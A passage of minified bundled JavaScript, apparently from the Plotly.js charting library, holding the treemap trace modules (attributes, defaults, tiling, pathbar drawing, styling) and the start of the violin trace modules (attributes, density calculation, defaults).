M=e(5386).fF,P=e(5386).si,o=e(50693),L=e(27670).Y,S=e(34e3),d=e(57564),g=e(43473),t=e(1426).extendFlat,r=e(79952).u;te.exports={labels:d.labels,parents:d.parents,values:d.values,branchvalues:d.branchvalues,count:d.count,level:d.level,maxdepth:d.maxdepth,tiling:{packing:{valType:"enumerated",values:["squarify","binary","dice","slice","slice-dice","dice-slice"],dflt:"squarify",editType:"plot"},squarifyratio:{valType:"number",min:1,dflt:1,editType:"plot"},flip:{valType:"flaglist",flags:["x","y"],dflt:"",editType:"plot"},pad:{valType:"number",min:0,dflt:3,editType:"plot"},editType:"calc"},marker:t({pad:{t:{valType:"number",min:0,editType:"plot"},l:{valType:"number",min:0,editType:"plot"},r:{valType:"number",min:0,editType:"plot"},b:{valType:"number",min:0,editType:"plot"},editType:"calc"},colors:d.marker.colors,pattern:r,depthfade:{valType:"enumerated",values:[!0,!1,"reversed"],editType:"style"},line:d.marker.line,cornerradius:{valType:"number",min:0,dflt:0,editType:"plot"},editType:"calc"},o("marker",{colorAttr:"colors",anim:!1})),pathbar:{visible:{valType:"boolean",dflt:!0,editType:"plot"},side:{valType:"enumerated",values:["top","bottom"],dflt:"top",editType:"plot"},edgeshape:{valType:"enumerated",values:[">","<","|","/","\\"],dflt:">",editType:"plot"},thickness:{valType:"number",min:12,editType:"plot"},textfont:t({},S.textfont,{}),editType:"calc"},text:S.text,textinfo:d.textinfo,texttemplate:P({editType:"plot"},{keys:g.eventDataKeys.concat(["label","value"])}),hovertext:S.hovertext,hoverinfo:d.hoverinfo,hovertemplate:M({},{keys:g.eventDataKeys}),textfont:S.textfont,insidetextfont:S.insidetextfont,outsidetextfont:t({},S.outsidetextfont,{}),textposition:{valType:"enumerated",values:["top left","top center","top right","middle left","middle center","middle right","bottom left","bottom center","bottom right"],dflt:"top left",editType:"plot"},sort:S.sort,root:d.root,domain:L({name:"treemap",trace:!0,editType:"calc"})}},78018:function(te,Z,e){var M=e(74875);Z.name="treemap",Z.plot=function(P,o,L,S){M.plotBasePlot(Z.name,P,o,L,S)},Z.clean=function(P,o,L,S){M.cleanBasePlot(Z.name,P,o,L,S)}},65039:function(te,Z,e){var M=e(52147);Z.y=function(P,o){return M.calc(P,o)},Z.T=function(P){return M._runCrossTraceCalc("treemap",P)}},43473:function(te){te.exports={CLICK_TRANSITION_TIME:750,CLICK_TRANSITION_EASING:"poly",eventDataKeys:["currentPath","root","entry","percentRoot","percentEntry","percentParent"],gapWithPathbar:1}},91174:function(te,Z,e){var M=e(71828),P=e(45802),o=e(7901),L=e(27670).c,S=e(90769).handleText,d=e(97313).TEXTPAD,g=e(37434).handleMarkerDefaults,t=e(21081),r=t.hasColorscale,f=t.handleDefaults;te.exports=function(l,u,s,y){function c(n,C){return M.coerce(l,u,P,n,C)}var b=c("labels"),h=c("parents");if(!b||!b.length||!h||!h.length){u.visible=!1;return}var i=c("values");i&&i.length?c("branchvalues"):c("count"),c("level"),c("maxdepth");var v=c("tiling.packing");v==="squarify"&&c("tiling.squarifyratio"),c("tiling.flip"),c("tiling.pad");var T=c("text");c("texttemplate"),u.texttemplate||c("textinfo",Array.isArray(T)?"text+label":"label"),c("hovertext"),c("hovertemplate");var w=c("pathbar.visible"),E="auto";S(l,u,y,c,E,{hasPathbar:w,moduleHasSelected:!1,moduleHasUnselected:!1,moduleHasConstrain:!1,moduleHasCliponaxis:!1,moduleHasTextangle:!1,moduleHasInsideanchor:!1}),c("textposition");var p=u.textposition.indexOf("bottom")!==-1;g(l,u,y,c);var A=u._hasColorscale=r(l,"marker","colors")||(l.marker||{}).coloraxis;A?f(l,u,y,c,{prefix:"marker.",cLetter:"c"}):c("marker.depthfade",!(u.marker.colors||[]).length);var m=u.textfont.size*2;c("marker.pad.t",p?m/4:m),c("marker.pad.l",m/4),c("marker.pad.r",m/4),c("marker.pad.b",p?m:m/4),c("marker.cornerradius"),u._hovered={marker:{line:{width:2,color:o.contrast(y.paper_bgcolor)}}},w&&(c("pathbar.thickness",u.pathbar.textfont.size+2*d),c("pathbar.side"),c("pathbar.edgeshape")),c("sort"),c("root.color"),L(u,y,c),u._length=null}},80694:function(te,Z,e){var M=e(39898),P=e(2791),o=e(72597),L=o.clearMinTextSize,S=e(16688).resizeText,d=e(46650);te.exports=function(t,r,f,a,l){var u=l.type,s=l.drawDescendants,y=t._fullLayout,c=y["_"+u+"layer"],b,h,i=!f;if(L(u,y),b=c.selectAll("g.trace."+u).data(r,function(T){return T[0].trace.uid}),b.enter().append("g").classed("trace",!0).classed(u,!0),b.order(),!y.uniformtext.mode&&P.hasTransition(f)){a&&(h=a());var v=M.transition().duration(f.duration).ease(f.easing).each("end",function(){h&&h()}).each("interrupt",function(){h&&h()});v.each(function(){c.selectAll("g.trace").each(function(T){d(t,T,this,f,s)})})}else b.each(function(T){d(t,T,this,f,s)}),y.uniformtext.mode&&S(t,c.selectAll(".trace"),u);i&&b.exit().remove()}},66209:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=e(63893),S=e(37210),d=e(96362).styleOne,g=e(43473),t=e(2791),r=e(83523),f=!0;te.exports=function(l,u,s,y,c){var b=c.barDifY,h=c.width,i=c.height,v=c.viewX,T=c.viewY,w=c.pathSlice,E=c.toMoveInsideSlice,p=c.strTransform,A=c.hasTransition,m=c.handleSlicesExit,n=c.makeUpdateSliceInterpolator,C=c.makeUpdateTextInterpolator,x={},I=l._context.staticPlot,k=l._fullLayout,B=u[0],_=B.trace,F=B.hierarchy,O=h/_._entryDepth,z=t.listPath(s.data,"id"),N=S(F.copy(),[h,i],{packing:"dice",pad:{inner:0,top:0,left:0,right:0,bottom:0}}).descendants();N=N.filter(function(J){var q=z.indexOf(J.data.id);return q===-1?!1:(J.x0=O*q,J.x1=O*(q+1),J.y0=b,J.y1=b+i,J.onPathbar=!0,!0)}),N.reverse(),y=y.data(N,t.getPtId),y.enter().append("g").classed("pathbar",!0),m(y,f,x,[h,i],w),y.order();var G=y;A&&(G=G.transition().each("end",function(){var J=M.select(this);t.setSliceCursor(J,l,{hideOnRoot:!1,hideOnLeaves:!1,isTransitioning:!1})})),G.each(function(J){J._x0=v(J.x0),J._x1=v(J.x1),J._y0=T(J.y0),J._y1=T(J.y1),J._hoverX=v(J.x1-Math.min(h,i)/2),J._hoverY=T(J.y1-i/2);var q=M.select(this),ne=P.ensureSingle(q,"path","surface",function(V){V.style("pointer-events",I?"none":"all")});A?ne.transition().attrTween("d",function(V){var Y=n(V,f,x,[h,i]);return function(Q){return w(Y(Q))}}):ne.attr("d",w),q.call(r,s,l,u,{styleOne:d,eventDataKeys:g.eventDataKeys,transitionTime:g.CLICK_TRANSITION_TIME,transitionEasing:g.CLICK_TRANSITION_EASING}).call(t.setSliceCursor,l,{hideOnRoot:!1,hideOnLeaves:!1,isTransitioning:l._transitioning}),ne.call(d,J,_,l,{hovered:!1}),J._text=(t.getPtLabel(J)||"").split("<br>").join(" ")||"";var fe=P.ensureSingle(q,"g","slicetext"),X=P.ensureSingle(fe,"text","",function(V){V.attr("data-notex",1)}),W=P.ensureUniformFontSize(l,t.determineTextFont(_,J,k.font,{onPathbar:!0}));X.text(J._text||" ").classed("slicetext",!0).attr("text-anchor","start").call(o.font,W).call(L.convertToTspans,l),J.textBB=o.bBox(X.node()),J.transform=E(J,{fontSize:W.size,onPathbar:!0}),J.transform.fontSize=W.size,A?X.transition().attrTween("transform",function(V){var Y=C(V,f,x,[h,i]);return function(Q){return p(Y(Q))}}):X.attr("transform",p(J))})}},52583:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=e(63893),S=e(37210),d=e(96362).styleOne,g=e(43473),t=e(2791),r=e(83523),f=e(24714).formatSliceLabel,a=!1;te.exports=function(u,s,y,c,b){var h=b.width,i=b.height,v=b.viewX,T=b.viewY,w=b.pathSlice,E=b.toMoveInsideSlice,p=b.strTransform,A=b.hasTransition,m=b.handleSlicesExit,n=b.makeUpdateSliceInterpolator,C=b.makeUpdateTextInterpolator,x=b.prevEntry,I={},k=u._context.staticPlot,B=u._fullLayout,_=s[0],F=_.trace,O=F.textposition.indexOf("left")!==-1,z=F.textposition.indexOf("right")!==-1,N=F.textposition.indexOf("bottom")!==-1,G=!N&&!F.marker.pad.t||N&&!F.marker.pad.b,J=S(y,[h,i],{packing:F.tiling.packing,squarifyratio:F.tiling.squarifyratio,flipX:F.tiling.flip.indexOf("x")>-1,flipY:F.tiling.flip.indexOf("y")>-1,pad:{inner:F.tiling.pad,top:F.marker.pad.t,left:F.marker.pad.l,right:F.marker.pad.r,bottom:F.marker.pad.b}}),q=J.descendants(),ne=1/0,fe=-1/0;q.forEach(function(Q){var ie=Q.depth;ie>=F._maxDepth?(Q.x0=Q.x1=(Q.x0+Q.x1)/2,Q.y0=Q.y1=(Q.y0+Q.y1)/2):(ne=Math.min(ne,ie),fe=Math.max(fe,ie))}),c=c.data(q,t.getPtId),F._maxVisibleLayers=isFinite(fe)?fe-ne+1:0,c.enter().append("g").classed("slice",!0),m(c,a,I,[h,i],w),c.order();var X=null;if(A&&x){var W=t.getPtId(x);c.each(function(Q){X===null&&t.getPtId(Q)===W&&(X={x0:Q.x0,x1:Q.x1,y0:Q.y0,y1:Q.y1})})}var V=function(){return X||{x0:0,x1:h,y0:0,y1:i}},Y=c;return A&&(Y=Y.transition().each("end",function(){var Q=M.select(this);t.setSliceCursor(Q,u,{hideOnRoot:!0,hideOnLeaves:!1,isTransitioning:!1})})),Y.each(function(Q){var ie=t.isHeader(Q,F);Q._x0=v(Q.x0),Q._x1=v(Q.x1),Q._y0=T(Q.y0),Q._y1=T(Q.y1),Q._hoverX=v(Q.x1-F.marker.pad.r),Q._hoverY=T(N?Q.y1-F.marker.pad.b/2:Q.y0+F.marker.pad.t/2);var j=M.select(this),K=P.ensureSingle(j,"path","surface",function(pe){pe.style("pointer-events",k?"none":"all")});A?K.transition().attrTween("d",function(pe){var we=n(pe,a,V(),[h,i]);return function(xe){return w(we(xe))}}):K.attr("d",w),j.call(r,y,u,s,{styleOne:d,eventDataKeys:g.eventDataKeys,transitionTime:g.CLICK_TRANSITION_TIME,transitionEasing:g.CLICK_TRANSITION_EASING}).call(t.setSliceCursor,u,{isTransitioning:u._transitioning}),K.call(d,Q,F,u,{hovered:!1}),Q.x0===Q.x1||Q.y0===Q.y1?Q._text="":ie?Q._text=G?"":t.getPtLabel(Q)||"":Q._text=f(Q,y,F,s,B)||"";var oe=P.ensureSingle(j,"g","slicetext"),re=P.ensureSingle(oe,"text","",function(pe){pe.attr("data-notex",1)}),le=P.ensureUniformFontSize(u,t.determineTextFont(F,Q,B.font));re.text(Q._text||" ").classed("slicetext",!0).attr("text-anchor",z?"end":O||ie?"start":"middle").call(o.font,le).call(L.convertToTspans,u),Q.textBB=o.bBox(re.node()),Q.transform=E(Q,{fontSize:le.size,isHeader:ie}),Q.transform.fontSize=le.size,A?re.transition().attrTween("transform",function(pe){var we=C(pe,a,V(),[h,i]);return function(xe){return p(we(xe))}}):re.attr("transform",p(Q))}),X}},14102:function(te){te.exports=function Z(e,M,P){var o;P.swapXY&&(o=e.x0,e.x0=e.y0,e.y0=o,o=e.x1,e.x1=e.y1,e.y1=o),P.flipX&&(o=e.x0,e.x0=M[0]-e.x1,e.x1=M[0]-o),P.flipY&&(o=e.y0,e.y0=M[1]-e.y1,e.y1=M[1]-o);var L=e.children;if(L)for(var S=0;S<L.length;S++)Z(L[S],M,P)}},70954:function(te,Z,e){te.exports={moduleType:"trace",name:"treemap",basePlotModule:e(78018),categories:[],animatable:!0,attributes:e(45802),layoutAttributes:e(55479),supplyDefaults:e(91174),supplyLayoutDefaults:e(77182),calc:e(65039).y,crossTraceCalc:e(65039).T,plot:e(5893),style:e(96362).style,colorbar:e(4898),meta:{}}},55479:function(te){te.exports={treemapcolorway:{valType:"colorlist",editType:"calc"},extendtreemapcolors:{valType:"boolean",dflt:!0,editType:"calc"}}},77182:function(te,Z,e){var M=e(71828),P=e(55479);te.exports=function(L,S){function d(g,t){return M.coerce(L,S,P,g,t)}d("treemapcolorway",S.colorway),d("extendtreemapcolors")}},37210:function(te,Z,e){var M=e(674),P=e(14102);te.exports=function(S,d,g){var t=g.flipX,r=g.flipY,f=g.packing==="dice-slice",a=g.pad[r?"bottom":"top"],l=g.pad[t?"right":"left"],u=g.pad[t?"left":"right"],s=g.pad[r?"top":"bottom"],y;f&&(y=l,l=a,a=y,y=u,u=s,s=y);var c=M.treemap().tile(o(g.packing,g.squarifyratio)).paddingInner(g.pad.inner).paddingLeft(l).paddingRight(u).paddingTop(a).paddingBottom(s).size(f?[d[1],d[0]]:d)(S);return(f||t||r)&&P(c,d,{swapXY:f,flipX:t,flipY:r}),c};function o(L,S){switch(L){case"squarify":return M.treemapSquarify.ratio(S);case"binary":return M.treemapBinary;case"dice":return M.treemapDice;case"slice":return M.treemapSlice;default:return M.treemapSliceDice}}},5893:function(te,Z,e){var M=e(80694),P=e(52583);te.exports=function(L,S,d,g){return M(L,S,d,g,{type:"treemap",drawDescendants:P})}},46650:function(te,Z,e){var M=e(39898),P=e(81684).sX,o=e(2791),L=e(71828),S=e(97313).TEXTPAD,d=e(17295),g=d.toMoveInsideBar,t=e(72597),r=t.recordMinTextSize,f=e(43473),a=e(66209);function l(u){return o.isHierarchyRoot(u)?"":o.getPtId(u)}te.exports=function(s,y,c,b,h){var i=s._fullLayout,v=y[0],T=v.trace,w=T.type,E=w==="icicle",p=v.hierarchy,A=o.findEntryWithLevel(p,T.level),m=M.select(c),n=m.selectAll("g.pathbar"),C=m.selectAll("g.slice");if(!A){n.remove(),C.remove();return}var x=o.isHierarchyRoot(A),I=!i.uniformtext.mode&&o.hasTransition(b),k=o.getMaxDepth(T),B=function(Ge){return Ge.data.depth-A.data.depth<k},_=i._size,F=T.domain,O=_.w*(F.x[1]-F.x[0]),z=_.h*(F.y[1]-F.y[0]),N=O,G=T.pathbar.thickness,J=T.marker.line.width+f.gapWithPathbar,q=T.pathbar.visible?T.pathbar.side.indexOf("bottom")>-1?z+J:-(G+J):0,ne={x0:N,x1:N,y0:q,y1:q+G},fe=function(Ge,Le,Pe){var De=T.tiling.pad,Ee=function(Me){return Me-De<=Le.x0},ye=function(Me){return Me+De>=Le.x1},ae=function(Me){return Me-De<=Le.y0},de=function(Me){return Me+De>=Le.y1};return Ge.x0===Le.x0&&Ge.x1===Le.x1&&Ge.y0===Le.y0&&Ge.y1===Le.y1?{x0:Ge.x0,x1:Ge.x1,y0:Ge.y0,y1:Ge.y1}:{x0:Ee(Ge.x0-De)?0:ye(Ge.x0-De)?Pe[0]:Ge.x0,x1:Ee(Ge.x1+De)?0:ye(Ge.x1+De)?Pe[0]:Ge.x1,y0:ae(Ge.y0-De)?0:de(Ge.y0-De)?Pe[1]:Ge.y0,y1:ae(Ge.y1+De)?0:de(Ge.y1+De)?Pe[1]:Ge.y1}},X=null,W={},V={},Y=null,Q=function(Ge,Le){return Le?W[l(Ge)]:V[l(Ge)]},ie=function(Ge,Le,Pe,De){if(Le)return W[l(p)]||ne;var Ee=V[T.level]||Pe;return B(Ge)?fe(Ge,Ee,De):{}};v.hasMultipleRoots&&x&&k++,T._maxDepth=k,T._backgroundColor=i.paper_bgcolor,T._entryDepth=A.data.depth,T._atRootLevel=x;var j=-O/2+_.l+_.w*(F.x[1]+F.x[0])/2,K=-z/2+_.t+_.h*(1-(F.y[1]+F.y[0])/2),oe=function(Ge){return j+Ge},re=function(Ge){return K+Ge},le=re(0),pe=oe(0),we=function(Ge){return pe+Ge},xe=function(Ge){return le+Ge};function ke(Ge,Le){return Ge+","+Le}var _e=we(0),be=function(Ge){Ge.x=Math.max(_e,Ge.x)},ge=T.pathbar.edgeshape,Te=function(Ge){var Le=we(Math.max(Math.min(Ge.x0,Ge.x0),0)),Pe=we(Math.min(Math.max(Ge.x1,Ge.x1),N)),De=xe(Ge.y0),Ee=xe(Ge.y1),ye=G/2,ae={},de={};ae.x=Le,de.x=Pe,ae.y=de.y=(De+Ee)/2;var Me={x:Le,y:De},Ie={x:Pe,y:De},Qe={x:Pe,y:Ee},et={x:Le,y:Ee};return ge===">"?(Me.x-=ye,Ie.x-=ye,Qe.x-=ye,et.x-=ye):ge==="/"?(Qe.x-=ye,et.x-=ye,ae.x-=ye/2,de.x-=ye/2):ge==="\\"?(Me.x-=ye,Ie.x-=ye,ae.x-=ye/2,de.x-=ye/2):ge==="<"&&(ae.x-=ye,de.x-=ye),be(Me),be(et),be(ae),be(Ie),be(Qe),be(de),"M"+ke(Me.x,Me.y)+"L"+ke(Ie.x,Ie.y)+"L"+ke(de.x,de.y)+"L"+ke(Qe.x,Qe.y)+"L"+ke(et.x,et.y)+"L"+ke(ae.x,ae.y)+"Z"},Fe=T[E?"tiling":"marker"].pad,Oe=function(Ge){return T.textposition.indexOf(Ge)!==-1},Ce=Oe("top"),Be=Oe("left"),$e=Oe("right"),Xe=Oe("bottom"),Ze=function(Ge){var Le=oe(Ge.x0),Pe=oe(Ge.x1),De=re(Ge.y0),Ee=re(Ge.y1),ye=Pe-Le,ae=Ee-De;if(!ye||!ae)return"";var de=T.marker.cornerradius||0,Me=Math.min(de,ye/2,ae/2);Me&&Ge.data&&Ge.data.data&&Ge.data.data.label&&(Ce&&(Me=Math.min(Me,Fe.t)),Be&&(Me=Math.min(Me,Fe.l)),$e&&(Me=Math.min(Me,Fe.r)),Xe&&(Me=Math.min(Me,Fe.b)));var Ie=function(Qe,et){return Me?"a"+ke(Me,Me)+" 0 0 1 "+ke(Qe,et):""};return"M"+ke(Le,De+Me)+Ie(Me,-Me)+"L"+ke(Pe-Me,De)+Ie(Me,Me)+"L"+ke(Pe,Ee-Me)+Ie(-Me,Me)+"L"+ke(Le+Me,Ee)+Ie(-Me,-Me)+"Z"},Ke=function(Ge,Le){var Pe=Ge.x0,De=Ge.x1,Ee=Ge.y0,ye=Ge.y1,ae=Ge.textBB,de=Ce||Le.isHeader&&!Xe,Me=de?"start":Xe?"end":"middle",Ie=Oe("right"),Qe=Oe("left")||Le.onPathbar,et=Qe?-1:Ie?1:0;if(Le.isHeader){if(Pe+=(E?Fe:Fe.l)-S,De-=(E?Fe:Fe.r)-S,Pe>=De){var pt=(Pe+De)/2;Pe=pt,De=pt}var St;Xe?(St=ye-(E?Fe:Fe.b),Ee<St&&St<ye&&(Ee=St)):(St=Ee+(E?Fe:Fe.t),Ee<St&&St<ye&&(ye=St))}var _t=g(Pe,De,Ee,ye,ae,{isHorizontal:!1,constrained:!0,angle:0,anchor:Me,leftToRight:et});return _t.fontSize=Le.fontSize,_t.targetX=oe(_t.targetX),_t.targetY=re(_t.targetY),isNaN(_t.targetX)||isNaN(_t.targetY)?{}:(Pe!==De&&Ee!==ye&&r(T.type,_t,i),{scale:_t.scale,rotate:_t.rotate,textX:_t.textX,textY:_t.textY,anchorX:_t.anchorX,anchorY:_t.anchorY,targetX:_t.targetX,targetY:_t.targetY})},st=function(Ge,Le){for(var Pe,De=0,Ee=Ge;!Pe&&De<k;)De++,Ee=Ee.parent,Ee?Pe=Q(Ee,Le):De=k;return Pe||{}},lt=function(Ge,Le,Pe,De){var Ee=Q(Ge,Le),ye;if(Le)ye=ne;else{var ae=Q(A,Le);ae?ye=fe(Ge,ae,De):ye={}}return P(Ee,ye)},ut=function(Ge,Le,Pe,De,Ee){var ye=Q(Ge,Le),ae;if(ye)ae=ye;else if(Le)ae=ne;else if(X)if(Ge.parent){var de=Y||Pe;de&&!Le?ae=fe(Ge,de,De):(ae={},L.extendFlat(ae,st(Ge,Le)))}else ae=L.extendFlat({},Ge),E&&(Ee.orientation==="h"?Ee.flipX?ae.x0=Ge.x1:ae.x1=0:Ee.flipY?ae.y0=Ge.y1:ae.y1=0);else ae={};return P(ae,{x0:Ge.x0,x1:Ge.x1,y0:Ge.y0,y1:Ge.y1})},yt=function(Ge,Le,Pe,De){var Ee=Q(Ge,Le),ye={},ae=ie(Ge,Le,Pe,De);L.extendFlat(ye,{transform:Ke({x0:ae.x0,x1:ae.x1,y0:ae.y0,y1:ae.y1,textBB:Ge.textBB,_text:Ge._text},{isHeader:o.isHeader(Ge,T)})}),Ee?ye=Ee:Ge.parent&&L.extendFlat(ye,st(Ge,Le));var de=Ge.transform;return Ge.x0!==Ge.x1&&Ge.y0!==Ge.y1&&r(T.type,de,i),P(ye,{transform:{scale:de.scale,rotate:de.rotate,textX:de.textX,textY:de.textY,anchorX:de.anchorX,anchorY:de.anchorY,targetX:de.targetX,targetY:de.targetY}})},bt=function(Ge,Le,Pe,De,Ee){var ye=De[0],ae=De[1];I?Ge.exit().transition().each(function(){var de=M.select(this),Me=de.select("path.surface");Me.transition().attrTween("d",function(Qe){var et=lt(Qe,Le,Pe,[ye,ae]);return function(pt){return Ee(et(pt))}});var Ie=de.select("g.slicetext");Ie.attr("opacity",0)}).remove():Ge.exit().remove()},Ot=function(Ge){var Le=Ge.transform;return Ge.x0!==Ge.x1&&Ge.y0!==Ge.y1&&r(T.type,Le,i),L.getTextTransform({textX:Le.textX,textY:Le.textY,anchorX:Le.anchorX,anchorY:Le.anchorY,targetX:Le.targetX,targetY:Le.targetY,scale:Le.scale,rotate:Le.rotate})};I&&(n.each(function(Ge){W[l(Ge)]={x0:Ge.x0,x1:Ge.x1,y0:Ge.y0,y1:Ge.y1},Ge.transform&&(W[l(Ge)].transform={textX:Ge.transform.textX,textY:Ge.transform.textY,anchorX:Ge.transform.anchorX,anchorY:Ge.transform.anchorY,targetX:Ge.transform.targetX,targetY:Ge.transform.targetY,scale:Ge.transform.scale,rotate:Ge.transform.rotate})}),C.each(function(Ge){V[l(Ge)]={x0:Ge.x0,x1:Ge.x1,y0:Ge.y0,y1:Ge.y1},Ge.transform&&(V[l(Ge)].transform={textX:Ge.transform.textX,textY:Ge.transform.textY,anchorX:Ge.transform.anchorX,anchorY:Ge.transform.anchorY,targetX:Ge.transform.targetX,targetY:Ge.transform.targetY,scale:Ge.transform.scale,rotate:Ge.transform.rotate}),!X&&o.isEntry(Ge)&&(X=Ge)})),Y=h(s,y,A,C,{width:O,height:z,viewX:oe,viewY:re,pathSlice:Ze,toMoveInsideSlice:Ke,prevEntry:X,makeUpdateSliceInterpolator:ut,makeUpdateTextInterpolator:yt,handleSlicesExit:bt,hasTransition:I,strTransform:Ot}),T.pathbar.visible?a(s,y,A,n,{barDifY:q,width:N,height:G,viewX:we,viewY:xe,pathSlice:Te,toMoveInsideSlice:Ke,makeUpdateSliceInterpolator:ut,makeUpdateTextInterpolator:yt,handleSlicesExit:bt,hasTransition:I,strTransform:Ot}):n.remove()}},96362:function(te,Z,e){var M=e(39898),P=e(7901),o=e(71828),L=e(2791),S=e(72597).resizeText,d=e(43467);function g(r){var f=r._fullLayout._treemaplayer.selectAll(".trace");S(r,f,"treemap"),f.each(function(a){var l=M.select(this),u=a[0],s=u.trace;l.style("opacity",s.opacity),l.selectAll("path.surface").each(function(y){M.select(this).call(t,y,s,r,{hovered:!1})})})}function t(r,f,a,l,u){var s=(u||{}).hovered,y=f.data.data,c=y.i,b,h,i=y.color,v=L.isHierarchyRoot(f),T=1;if(s)b=a._hovered.marker.line.color,h=a._hovered.marker.line.width;else if(v&&i===a.root.color)T=100,b="rgba(0,0,0,0)",h=0;else if(b=o.castOption(a,c,"marker.line.color")||P.defaultLine,h=o.castOption(a,c,"marker.line.width")||0,!a._hasColorscale&&!f.onPathbar){var w=a.marker.depthfade;if(w){var E=P.combine(P.addOpacity(a._backgroundColor,.75),i),p;if(w===!0){var A=L.getMaxDepth(a);isFinite(A)?L.isLeaf(f)?p=0:p=a._maxVisibleLayers-(f.data.depth-a._entryDepth):p=f.data.height+1}else p=f.data.depth-a._entryDepth,a._atRootLevel||p++;if(p>0)for(var m=0;m<p;m++){var n=.5*m/p;i=P.combine(P.addOpacity(E,n),i)}}}r.call(d,f,a,l,i).style("stroke-width",h).call(P.stroke,b).style("opacity",T)}te.exports={style:g,styleOne:t}},68875:function(te,Z,e){var M=e(53522),P=e(1426).extendFlat,o=e(12663).axisHoverFormat;te.exports={y:M.y,x:M.x,x0:M.x0,y0:M.y0,xhoverformat:o("x"),yhoverformat:o("y"),name:P({},M.name,{}),orientation:P({},M.orientation,{}),bandwidth:{valType:"number",min:0,editType:"calc"},scalegroup:{valType:"string",dflt:"",editType:"calc"},scalemode:{valType:"enumerated",values:["width","count"],dflt:"width",editType:"calc"},spanmode:{valType:"enumerated",values:["soft","hard","manual"],dflt:"soft",editType:"calc"},span:{valType:"info_array",items:[{valType:"any",editType:"calc"},{valType:"any",editType:"calc"}],editType:"calc"},line:{color:{valType:"color",editType:"style"},width:{valType:"number",min:0,dflt:2,editType:"style"},editType:"plot"},fillcolor:M.fillcolor,points:P({},M.boxpoints,{}),jitter:P({},M.jitter,{}),pointpos:P({},M.pointpos,{}),width:P({},M.width,{}),marker:M.marker,text:M.text,hovertext:M.hovertext,hovertemplate:M.hovertemplate,quartilemethod:M.quartilemethod,box:{visible:{valType:"boolean",dflt:!1,editType:"plot"},width:{valType:"number",min:0,max:1,dflt:.25,editType:"plot"},fillcolor:{valType:"color",editType:"style"},line:{color:{valType:"color",editType:"style"},width:{valType:"number",min:0,editType:"style"},editType:"style"},editType:"plot"},meanline:{visible:{valType:"boolean",dflt:!1,editType:"plot"},color:{valType:"color",editType:"style"},width:{valType:"number",min:0,editType:"style"},editType:"plot"},side:{valType:"enumerated",values:["both","positive","negative"],dflt:"both",editType:"calc"},offsetgroup:M.offsetgroup,alignmentgroup:M.alignmentgroup,selected:M.selected,unselected:M.unselected,hoveron:{valType:"flaglist",flags:["violins","points","kde"],dflt:"violins+points+kde",extras:["all"],editType:"style"}}},38603:function(te,Z,e){var M=e(71828),P=e(89298),o=e(48518),L=e(60168),S=e(50606).BADNUM;te.exports=function(f,a){var l=o(f,a);if(l[0].t.empty)return l;for(var u=f._fullLayout,s=P.getFromId(f,a[a.orientation==="h"?"xaxis":"yaxis"]),y=1/0,c=-1/0,b=0,h=0,i=0;i<l.length;i++){var v=l[i],T=v.pts.map(L.extractVal),w=v.bandwidth=g(a,v,T),E=v.span=t(a,v,s,w);if(v.min===v.max&&w===0)E=v.span=[v.min,v.max],v.density=[{v:1,t:E[0]}],v.bandwidth=w,b=Math.max(b,1);else{var p=E[1]-E[0],A=Math.ceil(p/(w/3)),m=p/A;if(!isFinite(m)||!isFinite(A))return M.error("Something went wrong with computing the violin span"),l[0].t.empty=!0,l;var n=L.makeKDE(v,a,T);v.density=new Array(A);for(var C=0,x=E[0];x<E[1]+m/2;C++,x+=m){var I=n(x);v.density[C]={v:I,t:x},b=Math.max(b,I)}}h=Math.max(h,T.length),y=Math.min(y,E[0]),c=Math.max(c,E[1])}var k=P.findExtremes(s,[y,c],{padded:!0});if(a._extremes[s._id]=k,a.width)l[0].t.maxKDE=b;else{var B=u._violinScaleGroupStats,_=a.scalegroup,F=B[_];F?(F.maxKDE=Math.max(F.maxKDE,b),F.maxCount=Math.max(F.maxCount,h)):B[_]={maxKDE:b,maxCount:h}}return l[0].t.labels.kde=M._(f,"kde:"),l};function d(r,f,a){var l=Math.min(f,a/1.349);return 1.059*l*Math.pow(r,-.2)}function g(r,f,a){var l=f.max-f.min;if(!l)return r.bandwidth?r.bandwidth:0;if(r.bandwidth)return Math.max(r.bandwidth,l/1e4);var u=a.length,s=M.stdev(a,u-1,f.mean);return Math.max(d(u,s,f.q3-f.q1),l/100)}function t(r,f,a,l){var u=r.spanmode,s=r.span||[],y=[f.min,f.max],c=[f.min-2*l,f.max+2*l],b;function h(v){var T=s[v],w=a.type==="multicategory"?a.r2c(T):a.d2c(T,0,r[f.valLetter+"calendar"]);return w===S?c[v]:w}u==="soft"?b=c:u==="hard"?b=y:b=[h(0),h(1)];var i={type:"linear",range:b};return P.setConvert(i),i.cleanRange(),b}},86403:function(te,Z,e){var M=e(37188).setPositionOffset,P=["v","h"];te.exports=function(L,S){for(var d=L.calcdata,g=S.xaxis,t=S.yaxis,r=0;r<P.length;r++){for(var f=P[r],a=f==="h"?t:g,l=[],u=0;u<d.length;u++){var s=d[u],y=s[0].t,c=s[0].trace;c.visible===!0&&c.type==="violin"&&!y.empty&&c.orientation===f&&c.xaxis===g._id&&c.yaxis===t._id&&l.push(u)}M("violin",L,l,a)}}},15899:function(te,Z,e){var M=e(71828),P=e(7901),o=e(36411),L=e(68875);te.exports=function(d,g,t,r){function f(m,n){return M.coerce(d,g,L,m,n)}function a(m,n){return M.coerce2(d,g,L,m,n)}if(o.handleSampleDefaults(d,g,f,r),g.visible!==!1){f("bandwidth"),f("side");var l=f("width");l||(f("scalegroup",g.name),f("scalemode"));var u=f("span"),s;Array.isArray(u)&&(s="manual"),f("spanmode",s);var y=f("line.color",(d.marker||{}).color||t),c=f("line.width"),b=f("fillcolor",P.addOpacity(g.line.color,.5));o.handlePointsDefaults(d,g,f,{prefix:""});var h=a("box.width"),i=a("box.fillcolor",b),v=a("box.line.color",y),T=a("box.line.width",c),w=f("box.visible",!!(h||i||v||T));w||(g.box={visible:!1});var E=a("meanline.color",y),p=a("meanline.width",c),A=f("meanline.visible",!!(E||p));A||(g.meanline={visible:!1}),f("quartilemethod")}}},60168:function(te,Z,e){var M=e(71828),P={gaussian:function(o){return 1/Math.sqrt(2*Math.PI)*Math.exp(-.5*o*o)}};Z.makeKDE=function(o,L,S){var d=S.length,g=P.gaussian,t=o.bandwidth,r=1/(d*t);return function(f){for(var a=0,l=0;l<d;l++)a+=g((f-S[l])/t);return r*a}},Z.getPositionOnKdePath=function(o,L,S){var d,g;L.orientation==="h"?(d="y",g="x"):(d="x",g="y");var 